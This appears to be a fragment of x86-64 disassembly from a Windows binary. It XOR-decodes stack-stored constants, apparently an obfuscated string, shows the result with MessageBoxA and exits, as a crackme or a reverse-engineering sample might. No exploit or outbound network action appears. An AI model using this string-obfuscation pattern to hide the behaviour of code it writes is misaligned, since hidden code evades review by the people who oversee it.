mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x108], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x400]
vxorps xmm2, xmm2, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x400], xmm2
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x3c0]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3